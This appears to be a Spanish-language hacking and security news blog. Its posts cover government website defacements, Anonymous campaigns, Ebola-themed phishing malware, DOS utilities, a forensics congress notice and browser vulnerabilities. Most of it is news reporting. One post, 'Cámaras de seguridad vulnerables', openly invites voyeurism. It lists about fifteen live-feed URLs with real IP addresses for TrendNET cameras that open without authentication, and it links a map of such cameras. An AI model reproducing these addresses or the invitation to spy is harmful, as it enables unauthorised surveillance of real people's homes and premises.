Hackean página web del Ministerio de Defensa de Chile

Desconocidos intervinieron el sitio web del Ministerio de Defensa de Chile con mensajes en alusión al Estado Islámico, durante la noche de este lunes, 23 de febrero de 2015.

La web fue reestablecida pasadas las 22:30 horas.

Lo curioso de este suceso fueron las consignas que dejaron en la página las cuales hacían referencias a piratas informáticos bajo el nombre de Saddam Hussein, seguido por el mensaje “WE aRe ISIS, Don’t Forget Me” (somos el Estado Islámico, no me olvides). Al final se podía leer "Alá es el único DIOS".

Hasta el momento se desconoce quiénes son los autores de este hecho lo que si es cierto es que dejaron en evidencia la poca seguridad que tiene esa web gubernamental chilena frente a ciberataques de este tipo.

continue reading

Anonymous declara la 'guerra' a los jihadistas

En un video publicado en Youtube, el grupo de hackers dijo que identificaría los sitios y cuentas en redes sociales vinculados con terroristas y los tumbaría.

“Nosotros, Anonymous del mundo, hemos decidido declararos la guerra, terroristas”, dijo.

El video se describe como un mensaje para “al Qaeda, el Estado Islámico y otros terroristas” y promete vengar la muerte de 12 personas en el ataque.

“Tenemos la intención de vengarnos en su nombre. Vamos a vigilar vuestras actividades en la red y vamos a tumbar vuestras cuentas en todas las redes sociales”, dijo Anonymous.

Cherif y Said Kouachi, los hermanos buscados por la masacre en las oficinas de la revista Charlie Hedbo, fueron abatidos en un operativo policial este viernes, según las autoridades.

Said pasó 9 meses en Yemen en 2011, recibiendo entrenamiento con armas y trabajando con al Qaeda en la Península Arábiga, dijeron fuentes de Estados Unidos.

Su hermano menor, Cherif, fue condenado a tres años de cárcel por pertenecer a una red de reclutamiento jihadista que enviaba combatientes a Iraq.

Una radio vinculada con ISIS elogió el jueves a los atacantes, a los que llamo “valientes jihadistas”, pero sin especificar si los dos tenían conexiones con el grupo extremista.

El ataque desató una ola de solidaridad, y miles de persona participaron en marchas a favor de la libertad de expresión.

Anonymous ha atacado sitios de internet vinculados con gobiernos, empresas y otras organizaciones.

Fuente: CNN

continue reading

¡Cuidado! Usan el Ebola para distribuir malware

Como el Ebola se sigue extendiendo en Africa y en el mundo, cibercriminales :) usan el miedo que causa este mortal virus para distribuir software malicioso (malware) utilizando la ingeniería Social.

Symantec a identificado formas en las que estos cibercriminales se dan a la tarea de infectar a las computadoras de las victimas aprovechándose del miedo, la curiosidad y buena fe de las personas.

MIEDO

El primer método es enviando un correo electrónico que contiene un informe falso sobre el Ebola y como protegerse de este, el mail invita descargarse un archivo adjunto en formato ZIP, el cual contiene un malware Trojan.Zbot, no lo descarge. Trojan.Zbot es un troyano bancario que una vez infecte su computadora, se ejecuta en segundo plano registrando cada pulsación al teclado que realice guardando contraseñas y cuentas bancarias.

CURIOSIDAD

El segundo método también hace uso de correo electrónico hacia las víctimas. Sin embargo, este correo electrónico imita un proveedor de telecomunicaciones en los UAE - Etisalat, y también tiene una supuesta "presentación de alto nivel" sobre el virus del Ébola que se adjunta como un archivo ZIP. Al abrir el archivo titulado "EBOLA - ETISALAT PRESENTATION.pdf.zip" resultará en la computadora que se está infectado por el Trojan.Blueso.

Este malware infecta el navegador web de la victima con el virus W32.Spyrat. Una vez infectado, el hacker puede borrar archivos y carpetas en el ordenador de la víctima, envío de comandos, descargar o cargar archivos, capturas de pantalla, apoderarse de la cámara web, e incluso obtener información detallada sobre las aplicaciones instaladas en la computadora y el sistema operativo.

BUENA FE

El tercer método se basa en las noticias sobre el fármaco experimental Zmapp capaz de curar el Ébola., lo cual es mentira. Los atacantes, en un intento para atraer a las víctimas, envían por correo electrónico la noticia afirmando que "el virus del Ébola se ha curado" y que "la noticia debe ser compartida ampliamente" Este correo electrónico también se acompaña de un archivo adjunto, el malware Backdoor.Breut.

Backdoor.Breut es un troyano que abre una puerta trasera en el ordenador infectado. A continuación, registra las pulsaciones de teclado y puede descargar archivos en el equipo sin permiso.

Los cibercriminales están utilizando también el nombre de la CNN para hacer que los mensajes de correo electrónico parezcan auténticos. El mensaje electrónico promete revelar una "historia no contada" sobre el ébola. El correo electrónico también promete una guía de prevención ante la infección y una lista de las regiones infectadas. 

Consejos. No descargue ningún archivo adjunto de remitentes que no conozca, los archivos mas comunes para propagar estos malwares son archivos comprimidos ZIP, programas EXE, archivos PDF, archivos de texto DOC, imágenes JPG. Tampoco haga clic en los enlaces que no conozca.

Fuente: http://www.symantec.com/

continue reading

Hackean cuentas de twitter de Bolivia TV y Red Uno

Las cuentas de Twitter del canal masista Bolivia TV y del canal de televisión también masista RedUno de Bolivia fueron hackeadas en la tarde del Sábado 11 de octubre a horas de realizarse las elecciones generales del 12 de octubre.

Entre los mensajes que colocaron en la cuenta esta la presunta muerte de Evo Morales, hecho que fue desmentido hace pocas horas en televisión

Así también escribió sobre la cancelación de las elecciones del día de mañana, la declaración de guerra a Chile y a Estados Unidos entre muchas otras cosas más :)

El autor que se identifica como Humberto Ruiz León, colombiano, profesional independiente en programas informáticos y miembro de Anonymous Iberoamerica.

El ataque cibernetico no tuvo mucha repercusión en Bolivia ya que twitter no es muy usada por la población en general, días atrás apareció un fake de un diario nacional de una noticia donde otro candidato a la presidencia declina su postulación

Al termino de escribir este post, ambas cuentas siguen intervenidas y se siguen creando nuevos tuits.

continue reading

Herramientas para MS-DOS

En este post una serie de paquetes que contienes herramientas para hacking, archivos de audio, imagen, texto y todo tipo de archivos, pero funcionan bajo MS-DOS, algunos interesantes otros ya no sirven para lo que se tiene actualmente y otros más están bien para pasar el rato curioseando y recordando al buen sistema operativos DOS

Herramientas para Hacking

Este paquete contiene programas para el desmontaje, extracción de datos de los archivos y la memoria, la extracción de archivos de los archivos de datos especiales de algunos juegos, hex- y eor/ xor de datos binarios y extensa búsqueda y comparación de procedimientos.
(Descargar)

• HACK contiene código para "hackear" es decir, descomprimir o descomprimir archivos de datos de ciertos juegos. 
• Bin2hex convierte los datos binarios en archivo de texto mesa hexagonal. 
• BIT2BYTE expande cada bit de datos binarios de un byte completo. 
• BUB2ASM convierte formato Bubble-Asm en TASM-Asm (números hexadecimales con el prefijo 0). 
• BYTE2BIT comprimir cada byte con valor! = 0 y un poco ajustado, poco más no establecido. 
• CHANGBYT cambia un solo byte en un archivo. 
• CUTBIN elimina los primeros bytes de un archivo binario. 
• CUTBYTES elimina bytes de un archivo binario a partir de un desplazamiento determinado. 
• CUTNOP elimina todas las líneas de un archivo de texto que se inicia con 90 (comando NOP). 
• CV2ASMDB convierte salida CodeView en ASM formato "DB". 
• CV2INLIN convierte salida CodeView en Turbo Pascal formato ensamblador. 
• VEE exclusiva-o espectador a encontrar secuencias de bytes de archivos "protegidas". 
• EXTRACTO extrae partes de los archivos de los archivos más grandes. 
• HEX convierte hexadecimal, decimal, octal y números binarios en la otra. 
• Hex2bin convierte una secuencia de número hexadecimal en un archivo binario. 
• HEXTSR (TSR) muestra la ventana de conversión hexadecimal de la tecla ALT golpe-S. 
• Memload carga de datos binarios en la memoria sin ejecutarlo. 
• MEMSAVE guarda el contenido de la memoria en un archivo. 
• MEMSVCNV guarda el contenido de la memoria convencional para un archivo. 
• MEMSVXMS guarda el contenido de la memoria XMS libre en un archivo. 
• MEMTSR (TSR) ataja contenido de la memoria en un archivo de clave de derrame cerebral ALT-S. 
• RECH calcula expresiones aritméticas. 
• SAVESCRN ahorra contenido actual de la memoria de texto de vídeo en un archivo.
• SCRNTSR (TSR) ataja contenido actual de la memoria de texto de vídeo en un archivo de clave de derrame cerebral ALT-S. 
• VOCEXTR encuentra y extractos Creative Labs voz (VOC), Wave (WAV) y Xmidi (XMI) de los archivos más grandes. 
• WADIT  Edita y muestra los contenidos de los archivos WAD de id Software DOOM (archivos de datos). 
• WAVEXTR encuentra y extrae RIFF Wave y archivos IFF de archivos más grandes. 
• XADD agrega / XORs todos los bytes de un archivo a un checksum. 
• XCHGBYTE reemplaza o intercambia valores específicos en los archivos binarios. 
• XCOMP versión extendida de DOS COMP. 
• XSearch busca en varios archivos al mismo tiempo. 
• XSEQUENZ busca resultados de XCOMP corre por ascendentes / descendentes secuencias. 
• XWHAT imprime el valor de una cierta posición en archivos. 
• XWHAT2 imprime todo el valor de una cierta posición en archivos.

Herramientas para manipular archivos
Herramientas para comparar archivos, cambiar nombre, la hora y la fecha, las operaciones de comodín y la detección de hardware
(Descargar)

• FRENO! ralentiza la CPU usando ocupado espera de interrupción 8 (INT08). 
• CHKFILES lee los archivos desde el disco para comprobar su integridad. 
• DETECT detección de hardware final y herramienta de referencia. 
• DFOR ejecuta un comando DOS para todos los nombres de los archivos en una lista. 
• DUPLICAT para duplicar árboles de directorios, copia sólo los archivos nuevos. 
• FILLDISK calcula la distribución de alguna manera óptima de archivos cuando se guardan en disquetes. 
• GETTIME mide el tiempo que necesita para ejecutar otro comando DOS
• ISWIN comprueba si se ejecuta Windows 3.1 o 95. 
• LENCOMP compara archivos similares en tu pc, pero basado en la longitud, haciendo caso omiso de ruta y el nombre. 
• NOTHING Do Nothing Loop.
• Renall cambia el nombre de un archivo comodín establecido de acuerdo con una lista de nombres.
• SCOMP compara archivos similares en tu pc y elimina los idénticos. 
• SFOR ejecuta un comando DOS para un conjunto de archivos de comodín. 
• TDIR lists files similar to DIR with their date time to be used for TTDAT.
• TIMETOUC (o corto TT) cambia la fecha y hora de un archivo. 
• TO busca un directorio de trabajo del directorio y los cambios de corriente para allá.
• TTDAT executes TIMETOUC for a list file produced with TDIR.

Manipulación de imágenes

Este paquete ofrece ayuda para la visualización de la información del encabezado de las imágenes, la visualización de formatos especiales de imagen, visualización de formatos de animación especiales, manipulación paleta, generación de archivos BMP.  Algunas de las herramientas necesitan un controlador compatible con VESA para mostrar las imágenes en el modo gráfico SVGA.
(Descargar)

• ANIM creates an rotating animation from a Bitmap (BMP).
• ANM plays 320x200x256 sized ANM animations (with LPF ANIM magic bytes).
• APAL2BIN converts ASCII RGB-palette into binary.
• BGI2DOOM converts Turbo Pascal's BGI images into Doom 1.2 textures.
• BMP2ASC converts 640x400x256 sized BMP into an ASCII image.
• BMP2BGI converts uncompressed BMP into Turbo Pascal's BGI format.
• BMP2DRW converts 80x50x16 sized BMP into my own DRW format for display in text mode.
• BMP2PAL saves colour palette of a BMP.
• BMP2PLAN converts 640x480x16 sized BMP into 4 colour planes.
• BMP2RAW converts 320x200x256 sized BMP into raw-format.
• BMP2TXT converts BMP into ASCII image depending on brightness values.
• BPAL2ASC converts binary RGB-palette (768 bytes) into decimal text format as needed for RAW2GIF.
• COLTABL displays table of DOS colours.
• DRAWPIC editor for drawing 80x25 DRW image files.
• DRAWTXT editor for drawing ASCII images.
• FNTMAGIC editor for drawing 16x8/8x8 fonts.
• FONTHACK displays binary data as 16x8/8x8 fonts.
• FONTVIEW displays an F16 font.
• GIF2BGI converts a GIF into one or more BGI images.
• GIF2SPR converts 160x160 sized GIF into 64 BGI images useable as sprites in games.
• GIFHEAD displays header information of GIF images.
• HLS2RGB converts ASCII HLS-palette into ASCII RGB-palette.
• KPACK compresses in my own R9 format, similar to RLE8 with slightly better compression.
• LINESET set number of lines text mode (25, 28, 33 or 50).
• PACK compresses files with RLE algorithm.
• PACKFL4 compress 4-bit animations with distinct frames, my own FL4 format.
• PAL2BMPP converts binary palette into BMP palette with empty padding.
• PLAY plays 320x200x256 sized Autodesk FLI and 640x480x256 sized FLC.
• PLAYFL4 plays 640x480x16 sized FL4 animation.
• PLAYFLI plays 320x200 sized Autodesk FLI and FLC animation.
• RAW2BMP converts RAW images into BMP.
• RGB2HLS converts ASCII RGB-palette into ASCII HLS-palette.
• SETBORD sets border colour in console.
• SETFONT sets an F16 font in console.
• SHOWBMP displays unpacked 1024x768x256 sized BMP.
• SHOWC64 displays Commodore 64 Koala Painter and other image formats.
• SHOWGIF loads a few GIFs into XMS memory, displays and cycles them (mini slide show).
• SHOWIT displays GIFs and slide shows of GIFs using external VPIC.EXE.
• SHOWPAL displays colours of a palette.
• SHOWPIC displays arbitrary data as colour values of an image.
• SHOWRAW displays arbitrary data as 16 or 256 colour values of an image up to 1024x768x256.
• SHOWSVGA (or short EV) displays arbitrary data as colour values of an image up to 1280x1024x256.
• SHOWVGA displays arbitrary data as VGA image (320x200x256), part of EOV.
• TXT2BMP converts text into 80 times lines sized BMP.
• TXT2RAW converts text into 80 times lines sized raw image data.
• UNPCKFL4 unpacks and displays 4-bit animations (FL4 files).
• UNRLE8 unpacks RLE8 compressed files.
• XCOLOR changes specific colour values of a BMP in image data, not in palette.
• XTRC_BMP extracts sub-image out of an uncompressed BMP into a new BMP.

Herramientas de audio

Herramientas para la manipulación de Sonido/Música, conversión de formatos especiales de sonido en formatos comunes y entre los diferentes tipos de formatos, jugando de COV, WAV y XMidis través Soundblaster y PC-Speaker y obtener información de la cabecera de los archivos de audio. Para utilizar el hardware de audio se necesita un emulador de controlador DOS labrado como VDMSound.
(Descargar)

• AMIG2SND converts Amiga signed raw sound data (SND) into PC format.
• DWD2SND converts DiamondWare digitised data into SND format.
• MAC2SND converts Apple Mac sound data (SND) into SND format.
• MANYINST lists instruments of an XMidi found in the *.ad file.
• MIDHEAD displays header information and event list of Midi files (MID).
• PAWE plays XMidi (XMI) using AWE32 hardware.
• PCM2VOC converts Space Hulk PCM into VOC.
• PCM2WAV converts AquaNox's PCM into WAV.
• PCMF plays Creative Music File (CMF), needs SBFM to be started before.
• PCMF17 plays CMF.
• PMID plays XMidi using Midi hardware.
• PMPU plays XMidi using MT32MPU hardware.
• PSOUND plays sound files like VOC and WAV using PC speaker hardware.
• PVOC plays VOC.
• PWAV plays WAV.
• PXMI plays XMidi using Soundblaster hardware.
• RAW16TO8 converts raw 16 bit samples into 8 bit by ignoring every second byte.
• RAW2SGN converts signed into unsigned samples by adding 080h.
• RAW2SND converts raw samples into SND format.
• SAM2WAV converts Modplayer Sample data (SAM) into WAV.
• SND2WAV converts SND into WAV.
• SYN2WAV split SYN data files into separate WAVs.
• VAC2WAV converts VAC, RAC and MAC (ST-TNG CD, 11025Hz) into WAV.
• VCMF plays all CMFs in the current directory, needs SBFM to be started before.
• VCMF17 plays all CMFs in the current directory.
• VMF2WAV converts Creatix sound 4800Hz (VMF) into WAV.
• VMPU plays all XMidis in the current directory using MT32MPU hardware.
• VOCHEAD displays header information of VOC files.
• VVOC plays all VOCs in the current directory.
• VWAV plays all WAVs in the current directory.
• VXMI plays all XMidis in the current directory.
• WAV16TO8 converts 16 bit WAVs into 8 bit.
• WAV2SAM converts WAV into Modplayer Sample data (SAM).
• WAV2SYN combines several WAVs into a SYN.
• WAV2VMF converts WAV into Creatix VMF.
• WAV2VOC converts WAV into VOC.
• WAVHEAD displays header information of WAV files.
• WAVMIX mixes WAVs using different algorithms.
• WAVMORPH morphs a WAV into another (very experimental).
• WAVST2MO converts 8 bit stereo WAV into mono format.
• XMIHEAD displays header information of XMidi files.
• XMITRACK extracts single tracks from a multi-track XMidi.

Herramientas para texto (ASCII)

Ofrece métodos para convertir, sustituir, clasificar los diferentes tipos de archivo , eliminar fragmentos de texto en archivos de texto.
(Descargar)

• ASCTABL displays table of ASCII characters.
• ASCTABL2 displays table of ASCII characters together with their decimal values.
• BIN2ASC removes all bytes 0-31 from a file to edit it as text.
• C64TOASC converts Commodore 64 text into ASCII format.
• COPYLINE copies all lines of a text file which contain a search term.
• CUT10 removes the first 10 columns in each line (for DIS86).
• CUTLAST removes the last given characters in each line.
• CUTLEAD removes the first given characters in each line.
• CUTLINES removes every some lines some more lines, e.g. remove two lines every ten lines.
• CUTPOS removes all text after a given column position.
• CUTSPACE removes trailing spaces.
• D2E replaces all 'D' with 'E', used to convert FORTRAN output into gnuplot data.
• DELNEWS removes all lines of a text file which start with search term.
• DELSPACE removes all double blanks.
• DIR2HTML creates an HTML index file containing the current folder entries.
• DIR2TEX creates a TeX index file containing the current folder entries.
• DOC2TXT converts WinWord umlauts back into DOS characters.
• DOWN converts all letters into lowercase.
• EXP2DEZ converts scientific numbers (e.g. 1.3E-1) into decimal numbers (e.g. 0.13).
• FIT2PIX reduces data points to one value per pixel, used for gnuplot and TeX.
• FORM2TXT converts HTML form data into plain text.
• GERADEN solves a linear equation.
• GNUSUB subtracts values from the second column, used for translation of gnuplot data.
• INSP2TEX converts INSPEC search results to LaTeX bibitems.
• LINECNT counts the lines of a text file.
• LINESORT sorts like SORT but blocks of lines instead of single lines.
• LINESUB replaces whole lines of a text file, configured by line number.
• MERGLINE merges two text files line wise (today's editors know this as 'column mode').
• MOVE_TEX moves TeX elements inside EmTeX pictures.
• NOSPACE removes all single blanks.
• ROUND rounds all decimal numbers.
• SEQ2TXT converts Commodore 64 sequential file data (SEQ) into PC char-set.
• SKALIER scales numbers by a factor, used for gnuplot data.
• SLIM_TEX removes all unnecessary horizontal \put(lineto), used for gnuplot and TeX.
• STRIP_% removes all comments (%) from TeX source.
• STRIP_C removes all comments from FORTRAN 77 source.
• TASTCODE prints the key code of the pressed key.
• TEST7BIT checks if a text only contains ASCII characters > 127
• TEXTDEL removes every some lines some more lines, e.g. remove two lines every ten lines.
• TEXTINS inserts a text file into another at a certain position.
• TEXTSUB replaces characters in a text file.
• TURNBACK save a file in reverse order, i.e. last byte first.
• TURNLINE turn all lines backwards, i.e. from right to left.
• UMBRUCH joins all lines and adds new line breaks at given position.
• UP converts all letters into uppercase.
• UP11 converts all letters and umlauts into uppercase.

:)

continue reading

IV CONGRESO INTERNACIONAL DE INFORMATICA FORENSE Y HACKING ETICO

En la ciudad capital de Bolivia se llevara a cabo el 13 de septiembre de 2014 el IV Congreso Internacional de Informática Forense y Hacking Ético con expositores bolivianos e internacionales.

IV CONGRESO INTERNACIONAL DE INFORMÁTICA FORENSE Y HACKING ÉTICO
Sucre - Sabado 13 de Septiembre
De 09:00 a 21:00 horas

Expositores

BOLIVIA

Tema: Ciberguerra y Terrorismo Digital
Expositor: Ing. Bismark Francachs
Ciudad de Residencia: La Paz

Tema: Valoracion Legal de la Evidencia Digital
Expositor: Mag. Luis Zegarra
Ciudad de Residencia: La Paz

Tema: Hacking en Servicios Web
Expositor: Ing. Saul Mamani
Ciudad de Residencia: Oruro

Tema: Criptografia - Herramientas Modernas y Errores Comunes
Expositor: Ing. Said Perez
Ciudad de Residencia: Sucre

Tema: Investigacion de Cibercrimenes en Bolivia
Expositor: Ing. William Llanos
Ciudad de Residencia: La Paz

Tema: Auditoria Informatica Forense
Expositor: Lic. Paula Peña
Ciudad de Residencia: La Paz

Tema: ¿Como hackear un facebook?
Expositor: Ing. Helmer Mendoza
Ciudad de Residencia: Tarija

Tema: Tendencias del Hacking en Bolivia
Expositor: Msc. Ing. Pablo Barriga
Ciudad de Residencia: Sucre

PERU

Tema: Política Criminal Internacional en Crímenes Informáticos
Expositor: Mag. Javier Reyna
Ciudad de Residencia: Ancash

Tema: Búsqueda y Captura de Cibercriminales
Expositor: Lic. Cesar Chavez
Ciudad de Residencia: Lima

Tema: El rol del fedatario Informático
Expositor: Dr. Hugo Ambrosio
Ciudad de Residencia: Lima

ECUADOR

Tema: Problemática de la prueba digital en los procesos judiciales
Expositor: Dr. Juan Peña
Ciudad de Residencia: Cuenca

Lugar: Sociedad de Ingenieros de Bolivia
Departamental Chuquisaca
Salon Teresa Dalenz
Calle Destacamento 111 #92
Sucre - Bolivia

Abono con descuento hasta el 31 de Agosto

Publico en General 200 bs
Carnet Hacking Bolivia 150 bs
Costo Corporativo 300 bs x 3 Inscritos

Abono regular desde el 01 de Septiembre

Publico en General 250 bs
Carnet Hacking Bolivia 180 bs
Costo Corporativo 500 bs x 3 Inscritos

Proceso de Inscripción:
Realizar el deposito bancario a la
Cuenta de ahorros 601-50512539-3-52 (Banco de Crédito)
Titular: HELMER FELLMAN MENDOZA JURADO
Luego escanear o fotografiar voucher y mandarlo al mail hackingbolivia@hotmail.com

Mayor informacion www.fb.me/boliviahacking
Twitter: @boliviahack
E-mail: boliviahack@bolivia.com

Comunidad Hacking Bolivia rumbo al IV Congreso Internacional de Informática Forense y Hacking Ético
Sucre - Sabado 13 de Septiembre del 2014
correo: hackingbolivia@hotmail.com
https://www.facebook.com/boliviahacking
twitter: @boliviahack

continue reading

Nuevo bug en Internet Explorer: Cómo protegerse

La falla afecta a las versiones de la 6 a la 11 y Microsoft dijo que es consciente de "ataques limitados y dirigidos" que pueden poner en riesgo a muchos usuarios.

Si un un atacante que explota exitosamente esa vulnerabilidad, podría obtener los mismos derechos de usuario sobre la computadora que el usuario oficial. Esto es, instalar programas, ver, cambiar o eliminar datos, o crear nuevas cuentas con derechos de usuario.

Microsoft dice que está investigando la falla y tomará las medidas "apropiadas".

La empresa dijo que las medidas "pueden incluir una solución a través de nuestro proceso mensual de publicación de actualizaciones de seguridad o una actualización de seguridad fuera de ciclo, en función de las necesidades del cliente".

Microsoft dice:

"La vulnerabilidad está presente mientras que Internet Explorer trata de acceder a un objeto en la memoria que se ha eliminado o no se ha asignado correctamente. La vulnerabilidad puede dañar la memoria de tal manera que podría permitir a un atacante ejecutar un código arbitrario en el contexto del usuario actual de Internet Explorer. Un atacante podría alojar un sitio web diseñado para aprovecharse de esta vulnerabilidad a través de Internet Explorer y convencer a un usuario para ver el sitio web falso."

La empresa de seguridad Symantec publicó su propia alerta con respecto al tema, destacando el hecho de que los usuarios de Windows XP son los más perjudicados, ya que según el comunicado "Los usuarios de XP se encuentran desprotegidos, ya que esta es la primera vulnerabilidad que se no parcheado para su sistema."

continue reading

CyberWar: Mapa global de ciberataques en tiempo real

Kaspersky lanza un mapa que muestra los ciberataques que están realizándose alrededor del mundo en tiempo real, y que son detectados por el software de la empresa.

Los visitantes pueden ver tanto el panorama global de ciber-ataques así como por países, además el mapa proporciona una lista de los países más afectados en cada momento.

Puedes acceder al mapa interactivo de la cyberwar en esta web, el cual toma sus datos de cómo actúan los diferentes productos de Kaspersky para atacar estas amenazas, y evitar que tengan éxito, ya sea malware, virus, sitios maliciosos o en el peor de los casos intentos de intrusión.

continue reading

El código que no deja de cambiar para engañar a los hackers

Para evitar los ataques de piratas cibernéticos, una start-up estadounidense desarrolló una tecnología que cambia constantemente el código de los sitios web para hacerlos impenetrables.

Shape Security indicó que su producto, ShapeShifter, funciona con los lenguajes HTML, JavaScript y CSS y su objetivo es transformar el código de un sitio en un "blanco en movimiento" para prevenir que los cibercriminales ejecuten ataques que involucren la secuencia de comandos.

La start-up describe su producto como un "botwall", una palabra compuesta por dos términos en inglés que hacen referencia a una pared (wall), es decir, una barrera contra herramientas de software automático conocidas como bots, los cuales reconocen y explotan las vulnerabilidades del código de un sitio en internet.

Los bots se pueden usar con intenciones maliciosas como DDoS, que es como se conoce un ataque distribuido de denegación de servicios.

Los DDos (por sus siglas en inglés: distributed denial-of-service) fuerzan al servidor de un sitio web a colapsar al inundarlo con tráfico o al secuestrar el sitio, lo cual permite al hacker que modifique su contenido, robe información privada y distribuya un virus.

ShapeShifter reescribe el código de una página web cada vez que es cargada. Eso significa que los bots, que imitan el comportamiento humano, no tienen un marco de referencia cuando buscan las vulnerabilidades para atacar.

La página se ve igual para los usuarios, pero un bot no puede encontrar la manera de penetrar en el sistema.

Muchos productos intentan prevenir ese tipo de violaciones a sus sistemas al identificar bots por sus firmas -nombre que usan cuando se registran a sí mismos- y las direcciones de internet y correo electrónico a donde envían la información que roban.

Los hackers han intentado contraatacar los mecanismos de detección a través del uso de una técnica llamada "polimorfismo de tiempo real", que hace que sus bots reescriban sus propios códigos cada vez que infectan una computadora nueva para dificultar su reconocimiento.

Otro ejemplo: un ciberdelincuente quiere convertir miles de tarjetas de crédito en tarjetas regalo o bienes valiosos que pueden ser canjeados por dinero en efectivo. Una vez robados los datos de las tarjetas, ejecuta un programa automatizado para comprar los bienes  rápidamente, en una carrera contrarreloj hasta que las víctimas descubren el fraude y obtienen una nueva tarjeta.

Para ello, los hackers observan el código que hay detrás de una página web y, a continuación, escriben programas que llenan los espacios en blanco en los formularios web. Shape intenta poner fin a estos ataques teniendo a su software reordenando constantemente dicho código, algo que no se advierte en su navegador de Internet.

Fuente: BBC

continue reading

Anonymous Arabe ataca 100.000 sitios web de Israel

Más de 100.000 sitios web del gobierno de Israel sufrieron un ataque de hackers arabes este sábado y domingo, pero los hackers israelíes contra atacaron y se adjudicaron su propia victoria. El sitio web que promueve los "ciberataques" llamado OpIsrael era a su vez hackeado por israel. En vez de mensajes anti-israelies, tocaba el himno nacional de Israel, "Hatikva".

Mensaje en árabe de Anonymous

"Step one will be initiated after the release of this message and will be comprised of systematically removing the Zionist entity from the Internet," a speaker said in Arabic.

"Step two, we will discover your future plans and show your crimes against humanity to the whole world," the speaker said. ""And as for step three, well think of this one as a present from Anonymous to you."


Los piratas informáticos han publicado un video explicando los motivos de su ataque. "Para el Gobierno de Israel:  No habéis cesado vuestras interminables violaciones de los derechos humanos. No habéis parado los asentamientos ilegales. No habéis respetado el alto el fuego. Habéis demostrado que no respetáis el derecho internacional”, se proclama en la grabación.

que malote

continue reading

Bolivian Cyber Army ataca web pro-evo en apoyo al Aeropuerto Juan Mendoza

Comienzo el post aclarando que este "no es un blog político", sin embargo no puedo dejar pasar un hecho que al parecer paso inadvertido para muchos medios de comunicación.

El departamento de Oruro (Zona occidental de Bolivia) cumplió ayer 48 horas de paro en protesta por el cambio de nombre de su aeropuerto internacional "Juan Mendoza" por el de Aeropuerto "Evo Morales", todo bien por ahí  cada quien tendrá sus razones y esos puntos no los discuto en este blog, sin embargo, en apoyo a esa protesta un grupo o persona identificado como "Bolivian Cyber Army" ataco ayer una pagina web del gobierno de evo (http://noracismo.gob.bo/) y dejo un claro mensaje de su rechazo al cambio de nombre del aeropuerto de Oruro.

EL AEROPUERTO DE ORURO SE LLAMA JUAN MENDOZA Y EL NOMBRE NO SE TOCA

El disgusto del hacker es evidente

Y para quien no conozca quien fue el Teniente Coronel Juan Mendoza, dejo hasta un video o.O :)

"En 1916, Juan Mendoza, llegó a ser el primer aviador con la beca que pagó la población de Oruro con la colaboración de los sectores de carpinteros, panaderos, Sociedad de Socorros Mutuos a quienes juró que al obtener su profesionalización, serviría a su departamento además de lograr que su ciudad tenga el primer avión que llegó con el apoyo de Alfredo Etienne, personaje que era minero y concejal"

El ataque ocurrió ayer en horas de la noche "increíblemente" hasta el día de hoy en el que escribo este post, la pagina web http://noracismo.gob.bo/ sigue desfaceada dejando ver la negligencia de quienes mantienen esa página.

continue reading

Anonymous Venezuela ataca sitios web de Hugo Chavez

La noche de este viernes 22 de febrero de 2013 el grupo denominado Anonymous Venezuela atacó paginas militares venezolanas para exigir saber “qué está pasando en realidad con la salud del Presidente Chávez”.

El mensaje que dejaron es:

“Maldito el soldado que levante las armas en contra de su propio pueblo”, 

Simón Bolívar.

“Como venezolanos EXIGIMOS saber que esta pasando en realidad con la salud del Presidente Chavez, es hora de hablarle claro al país, sin rodeos y sin excusas chimbas”

 Entre los sitios web hackeados se encuentran:

Sitio oficial de la Academia Militar: http://www.amgnb.guardia.mil.ve/

Guardia del Pueblo: http://guardiadelpueblo.mil.ve/

Página Oficial de la Gobernación del Estado Táchira: http://www.tachira.gob.ve/

Comando de Vigilancia Costera: http://cvc.guardia.mil.ve/
Dirección de Cultura del Estado Táchira: http://direcciondecultura.tachira.gob.ve/
Centro de denuncias de la Guardia Nacional Bolivariana: http://denuncias.guardia.mil.ve/


La mayoría de las páginas volvieron a la normalidad aunque algunas están caídas.

Se espera que durante las próximas horas este grupo de activistas ataque más sitios web oficiales, en aras de acrecentar la presión por saber noticias veraces sobre la salud del presidente Chávez, quien a pesar de encontrarse en Venezuela desde hace un par de días, según un comunicado oficial, no ha sido visto ni se han revelado detalles sobre su tratamiento en el país.

continue reading

Cámaras de seguridad vulnerables - El sueño del pibe

Quien no a sentido curiosidad en saber que hace su vecino o vecina ;), la curiosidad no solo es propia del ser humano, es universal, mientras alguien tenga la oportunidad de ver "algo que no debería ver", lo va a ver!!!. Gracias al internet y las cámaras de seguridad, el mundo del voyeur se a ampliado, Google nos permite buscar cámaras de seguridad vulnerables en la red pero a alguien se le ocurrió la idea de crear un mapa mundial de las cámaras de seguridad marca TrendNET que el año pasado presentaron una gran falla en su sistema que permite que cualquier persona puede acceder a las imágenes de sus cámaras sin colocar ninguna clave.

Para acceder a cualquier de esas cámaras solo se debe hacer clic en cualquiera de los globos y la imagen aparece en una ventana emergente.

Con suerte y el voyeur podrá encontrar algo de su interés, aunque la mayoría de las cámaras de seguridad apuntan a lugares poco frecuentados por personas.

También en la pagina se deja un link a pastebin donde esta la lista completa de cámaras vulnerables

http://209.152.105.243:80/anony/mjpg.cgi
http://213.221.215.14:80/anony/mjpg.cgi
http://213.252.77.249:80/anony/mjpg.cgi
http://213.33.207.210:80/anony/mjpg.cgi
http://217.128.225.246:80/anony/mjpg.cgi
http://217.86.211.194:80/anony/mjpg.cgi
http://220.245.206.12:80/anony/mjpg.cgi
http://24.108.61.214:80/anony/mjpg.cgi
http://24.155.150.53:80/anony/mjpg.cgi
http://24.17.250.178:80/anony/mjpg.cgi
http://24.193.62.132:80/anony/mjpg.cgi
http://24.20.31.37:80/anony/mjpg.cgi
http://24.212.222.211:80/anony/mjpg.cgi
http://24.218.111.238:80/anony/mjpg.cgi
http://24.226.116.194:80/anony/mjpg.cgi

El enlace al mapa de los mirones esta en esta web cams.hhba.info.

Es un poco aterrador saber que en estos tiempos siempre hay alguien mirando (o)(o)

continue reading

Vulnerabilidad en navegadores con Java 7 Zero-Day

Una nueva falla de seguridad en Java 7 pone en alerta mundial a todos los usuarios que tengan instalado la version de java 7 update 10.

Pero como diría el chapulin colorado, "Que no cunda el pánico", ya en varias páginas se dice que se debe desintalar java para protegerse, nada más falso, es como querer desinstalar windows porque el Word se colgó un par de veces.

Esta vulnerabilidad se dice que se activo el 1 de enero de 2013 (Zero-Day ) y que que aprovechado por piratas informáticos (hacker) para hacer de las suyas, pero primero vamos a informarnos un poco sobre esta vulnerabilidad.

